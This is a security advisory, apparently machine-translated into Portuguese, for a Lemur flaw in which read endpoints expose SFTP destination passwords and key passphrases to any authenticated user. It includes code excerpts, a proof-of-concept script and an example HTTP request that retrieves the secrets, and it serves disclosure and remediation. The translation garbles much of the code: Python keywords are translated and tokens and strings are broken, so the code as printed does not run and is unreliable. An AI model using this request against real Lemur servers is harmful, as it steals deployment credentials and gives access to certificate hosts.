### Resumo Os objetivos de destino do Lemur leram -- ` GET / api/ 1 / destinos` e ` GET / api/ 1 /destinations/ ` -- retorna o conjunto completo de valores de opção de plugin armazenados para qualquer usuário autenticado, sem verificação de autorização e sem redação de opções de suporte secreto. Os endpoints de gravação de irmãos (`POST`/` PUT`/` DELETE`) são portados com `@admin_permission.require(http_excetion= 403 )`, mas os dois manipuladores de leitura são protegidos apenas por ` login_required` (herdado a partir de `AuthenticatedResource`). Eles nem mesmo excluem usuários `só leitura'. O plugin de destino SFTP incorporado (`sftp- destino`) armazena as opções `password` e `privateKeyPass` em texto claro na coluna `destinations. options` (o próprio docstring do plugin diz "Passwords não são criptografados e armazenados como um texto simples."). Porque `DestinationOutputSchema` serializa cada valor de opção literalmente, qualquer principal autenticado -- incluindo um usuário `só leitura' -- pode recuperar essas credenciais e usá- las para autenticar no servidor remoto SFTP para o qual o Lemur implanta certificados. ### Detalhes Os endpoints de leitura não têm a autorização que seus irmãos de escrita impõem:.
`lemur/destinations/views.py` ```python class DestinationsList(AuthenticatedResource): @validate_schema(Nenhum, destinations_output_schema) def get(self): # <-- somente login_required; no admin/solo lecture portão... return service.render(args) @validate_schema(destination_input_schema, destination_output_schema) @admin_permission.require(http_excetion= 403 ) # write path IS gated def post (self, data=Nenhum):... class Destinations(AuthenticatedResource): @validate_schema(Nenhum, destination_output_schema) def get(self, destination_id): # <-- somente login_required; nenhum serviço de retorno de portão de admin/só para leitura.get(destination_id).
@validate_schema(destination_input_schema, destination_output_schema) @admin_permission.require(http_excetion= 403 ) # write path IS gated def put(self, destination_id, data=Nenhum):... @admin_permission.require(http_exceção= 403 ) # write path IS gated def delete( self, destination_id):... ``` O esquema de saída emite todos os valores de opção, incluindo os secretos:.
`lemur/destinações/schemas.py` ```python class DestinationOutputSchema(LemurOutputSchema):... opções = campos.Lista( campos.Dict())) # dicts de opção em bruto, incl. {"nome":"password","valor":...} @post_dump def fill_object(self, data): se os dados: data["plugin"]["pluginoptions"] = data["opções"] # copiado textual para o bloco de plugin também... retorna dados ``` `options` é a coluna DB em bruto `JSONType` (`lemur/destinations/models.py`), armazenada exatamente como o plug- in salvo. O plug- in SFTP armazena credenciais de texto simples:.
`lemur/plugins/lemur_sftp/plugin.py` ```python """ as senhas não são criptografadas e armazenadas como texto simples. """" opções = [... {"nome": "password", "tipo": "str", "requerido": Falso,...}, # texto simples {"nome": "privateKeyPass", "tipo": "str", "requerido": Falso,...}, # texto simples... ] ``` Não há nenhuma aplicação `só para leitura' nestes manipuladores GET (nenhuma chamada `StrictRolePermission()`), então mesmo os usuários explicitamente restritos ao acesso para leitura só podem ler os segredos. ### PoC Reprodução do caminho exato de serialização do Lemur (verbatim `DestinationOutputSchema` + `PluginOutputSchema`, marshmallow 2.21.0 ), alimentado uma linha de destino SFTP armazenada com autografia de senha:.
````python a partir de campos de importação de marshmallow, post_dump, Schema. Class PluginOutputSchema(Schema): # textual de lemur/schemas.py id = campos.Integer(); rótulo = campos.String(); descrição = campos.String() ativo = campos.Boolean(); opções = campos.Lista( campos.Dict(), dump_to="pluginOptions") slug = campos.String(); título = campos.String() Class DestinationOutputSchema(Schema): # textual a partir de lemur/destinações/schemas.py id = campos.Integer(); label = campos.String(); descrição = campos.String() ativo = campos.Boolean(); plugin = campos.Nested(PluginOutputSchema) opções = campos.List( campos.Dict() @post_dump def fill_object(self, data): se os dados: data["plugin"]["pluginoptions"] = data["options"] para a opção em dados["plugin"]["pluginoptions"]: se "export-plugin" na opção["tipo"]: opção["valor"["pluginoptions"] = opção["valor"]["plugin_options"] classe Destino: # uma linha de destino SFTP armazenada id = 4; rótulo = "prod- nginx- sftp"; descrição = "Deployar certificados via SFTP"; ativo = opções verdadeiras = [ {"nome": "host", "tipo": "str", "valor": " 10.0.5.20 "}, {"nome": "usuário", "tipo": "str", "valor": "desplegar"}, {"nome": "password", "tipo": "str", "valor": "S 3 cr 3 Passw t- SFTP 0 rd!"}, {"nome": "privateKeyPass", "tipo": "str", "valor": "rsa-key-passphrase-xyz"}, ] plugin = {"slug": "sftp-destination", "title": "SFTP", "descrição": "Permitir o envio de certificados para SFTP", "opções": [], "id": 1, "marca": Nenhum, "ativo": Nenhum}.
fora = DestinationOutputSchema(.dump(Destination()).data import json; print(json.dumps(out)) afirma "S 3 cr 3 Passw t- SFTP 0 "rd!" em json.dumps(out) afirmar "rsa-key-passphrase-xyz" em json.dumps(out) `` Saída (truncado) -- os segredos do texto simples aparecem em ambos `opções` e `plugin.pluginOpções`: ```json {"opções":[... {"nome":"password","tipo":"str","valor":"S 3 cr 3 Passw t- SFTP 0 rd!"}, {"nome":"privateKeyPass","tipo":"str","valor":"rsa-key-passphrase-xyz"}...], "plugin":{"pluginOpções":[... {"nome":"password","valor":"S 3 cr 3 Passw t- SFTP 0 rd!"}, "slug":"sftp-destination",...}} ``` De ponta a ponta, como um usuário de baixa prioridade (ou somente leitura) que segura um JWT normal do Lemur: ``` GET / api/ 1 / destinos/ 4 HTTP/ 1.1 Host: lemur.exemplo.com Autorização: Portador.
HTTP/ 1.1 200 OK { "plugin": { "pluginoptions": [... {"nome":"password","valor":"S 3 cr 3 Passw t- SFTP 0 "rd!"}... ]}} "``` ### Infração de Confidencialidade de Impacto das credenciais de implantação. Qualquer usuário autêntico do Lemur -- independentemente do papel, incluindo usuários intencionalmente limitados a `só leitura' -- pode enumerar todos os destinos configurados e ler seus segredos de texto simples. Para destinos SFTP, isso dá a senha SSH e/ ou a senha protegendo a chave RSA que o Lemur usa para empurrar certificados. Com estes, um atacante autentica diretamente para os hosts de lançamento de certificados remotos, substituindo ou lendo seu material TLS -- uma mudança de escopo além do próprio Lemur (S:C). O mesmo caminho de leitura expõe qualquer outra opção de suporte secreto de um plug- in de destino armazena em texto claro. Correção sugerida: portão do destino GET handers com `admin_ permission` (consistente com os handers de gravação), e/ ou valores da opção redacte cujo tipo/ nome os marca como secreto antes da serialização em `DestinationOutputSchema`.
Registro de aconselhamento: GHSA- 6 c 8 m-q 6 g 9 - rww 3. Identificadores relacionados: CVE- 2026 - 71307. Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 18 T 20: 51: 26.000 Z e lista a sua última modificação como 2026 - 08 - 18 T 20: 51: 26.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
Informações sobre software e versão afetadas: lemur do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 1.9.3. Classificação e evidência: identificadores de fraqueza CWE- 862. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.